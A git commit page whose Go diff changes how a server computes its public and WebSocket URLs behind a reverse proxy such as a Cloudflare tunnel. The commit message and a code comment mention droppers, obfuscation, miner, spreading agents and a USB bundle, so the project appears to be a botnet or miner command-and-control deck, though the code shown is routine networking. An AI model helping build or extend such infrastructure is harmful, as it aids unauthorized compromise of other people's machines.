fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes
WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
This commit is contained in:
@@ -3,6 +3,7 @@ package api
|
||||
import (
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strings"
|
||||
)
|
||||
|
||||
@@ -15,41 +16,131 @@ type ServerInfo struct {
|
||||
WebSocketURL string `json:"websocket_url"`
|
||||
}
|
||||
|
||||
func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride string) {
|
||||
host := r.Host
|
||||
if idx := strings.Index(host, ":"); idx > 0 {
|
||||
host = host[:idx]
|
||||
// GetServerInfo returns URLs workers and droppers should use to reach this deck.
|
||||
// When the dashboard is opened via HTTPS reverse proxy (e.g. Cloudflare tunnel),
|
||||
// suggested_url uses https and omits :443 — not the local listen port (8989).
|
||||
func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride string, listenPort int) {
|
||||
if listenPort <= 0 {
|
||||
listenPort = 8989
|
||||
}
|
||||
|
||||
localIPs := listLocalIPv4()
|
||||
suggestedHost := host
|
||||
if isLoopbackHost(host) && len(localIPs) > 0 {
|
||||
suggestedHost = localIPs[0]
|
||||
}
|
||||
suggestedURL := resolveSuggestedURL(r, publicURLOverride, listenPort, localIPs)
|
||||
|
||||
port := 8989
|
||||
if idx := strings.LastIndex(r.Host, ":"); idx > 0 {
|
||||
if p := r.Host[idx+1:]; p != "" {
|
||||
port = parsePort(p)
|
||||
host := r.Host
|
||||
port := listenPort
|
||||
if h, p, err := net.SplitHostPort(r.Host); err == nil {
|
||||
host = h
|
||||
if parsed := parsePort(p); parsed > 0 {
|
||||
port = parsed
|
||||
}
|
||||
}
|
||||
|
||||
suggestedURL := "http://" + net.JoinHostPort(suggestedHost, itoa(port))
|
||||
if strings.TrimSpace(publicURLOverride) != "" {
|
||||
suggestedURL = strings.TrimSpace(publicURLOverride)
|
||||
}
|
||||
info := ServerInfo{
|
||||
Port: port,
|
||||
Host: host,
|
||||
LocalIPs: localIPs,
|
||||
SuggestedURL: suggestedURL,
|
||||
DashboardURL: suggestedURL,
|
||||
WebSocketURL: strings.Replace(strings.Replace(suggestedURL, "https://", "wss://", 1), "http://", "ws://", 1) + "/ws/agent",
|
||||
WebSocketURL: httpToWS(suggestedURL) + "/ws/agent",
|
||||
}
|
||||
|
||||
writeJSON(w, info)
|
||||
}
|
||||
|
||||
func resolveSuggestedURL(r *http.Request, publicOverride string, listenPort int, localIPs []string) string {
|
||||
if norm := normalizePublicURL(publicOverride); norm != "" {
|
||||
return norm
|
||||
}
|
||||
return externalBaseFromRequest(r, listenPort, localIPs)
|
||||
}
|
||||
|
||||
func externalBaseFromRequest(r *http.Request, listenPort int, localIPs []string) string {
|
||||
scheme := requestScheme(r)
|
||||
host := requestHost(r)
|
||||
hostOnly, port := hostAndPort(host, scheme)
|
||||
|
||||
if isLoopbackHost(hostOnly) && len(localIPs) > 0 {
|
||||
hostOnly = localIPs[0]
|
||||
scheme = "http"
|
||||
port = listenPort
|
||||
}
|
||||
|
||||
return formatBaseURL(scheme, hostOnly, port)
|
||||
}
|
||||
|
||||
func requestScheme(r *http.Request) string {
|
||||
if r.TLS != nil {
|
||||
return "https"
|
||||
}
|
||||
if p := strings.TrimSpace(strings.Split(r.Header.Get("X-Forwarded-Proto"), ",")[0]); p != "" {
|
||||
return strings.ToLower(p)
|
||||
}
|
||||
return "http"
|
||||
}
|
||||
|
||||
func requestHost(r *http.Request) string {
|
||||
if h := strings.TrimSpace(strings.Split(r.Header.Get("X-Forwarded-Host"), ",")[0]); h != "" {
|
||||
return h
|
||||
}
|
||||
return r.Host
|
||||
}
|
||||
|
||||
func hostAndPort(host string, scheme string) (hostOnly string, port int) {
|
||||
if h, p, err := net.SplitHostPort(host); err == nil {
|
||||
return strings.Trim(h, "[]"), parsePort(p)
|
||||
}
|
||||
if strings.Count(host, ":") == 1 && !strings.Contains(host, "]") {
|
||||
parts := strings.SplitN(host, ":", 2)
|
||||
return parts[0], parsePort(parts[1])
|
||||
}
|
||||
hostOnly = strings.Trim(host, "[]")
|
||||
if scheme == "https" {
|
||||
return hostOnly, 443
|
||||
}
|
||||
return hostOnly, 80
|
||||
}
|
||||
|
||||
func formatBaseURL(scheme, host string, port int) string {
|
||||
host = strings.Trim(host, "[]")
|
||||
if (scheme == "https" && port == 443) || (scheme == "http" && port == 80) {
|
||||
return scheme + "://" + host
|
||||
}
|
||||
return scheme + "://" + net.JoinHostPort(host, itoa(port))
|
||||
}
|
||||
|
||||
func normalizePublicURL(raw string) string {
|
||||
raw = strings.TrimSpace(raw)
|
||||
if raw == "" {
|
||||
return ""
|
||||
}
|
||||
u, err := url.Parse(raw)
|
||||
if err != nil || u.Scheme == "" || u.Host == "" {
|
||||
return strings.TrimRight(raw, "/")
|
||||
}
|
||||
_, port := hostAndPort(u.Host, u.Scheme)
|
||||
u.Host = formatURLHost(u.Hostname(), port, u.Scheme)
|
||||
u.Path = ""
|
||||
u.RawPath = ""
|
||||
u.RawQuery = ""
|
||||
u.Fragment = ""
|
||||
return strings.TrimRight(u.String(), "/")
|
||||
}
|
||||
|
||||
func formatURLHost(hostname string, port int, scheme string) string {
|
||||
if (scheme == "https" && port == 443) || (scheme == "http" && port == 80) {
|
||||
return hostname
|
||||
}
|
||||
return net.JoinHostPort(hostname, itoa(port))
|
||||
}
|
||||
|
||||
func httpToWS(base string) string {
|
||||
if strings.HasPrefix(base, "https://") {
|
||||
return "wss://" + strings.TrimPrefix(base, "https://")
|
||||
}
|
||||
return "ws://" + strings.TrimPrefix(base, "http://")
|
||||
}
|
||||
|
||||
func listLocalIPv4() []string {
|
||||
var ips []string
|
||||
ifaces, err := net.Interfaces()
|
||||
|
||||
Reference in New Issue
Block a user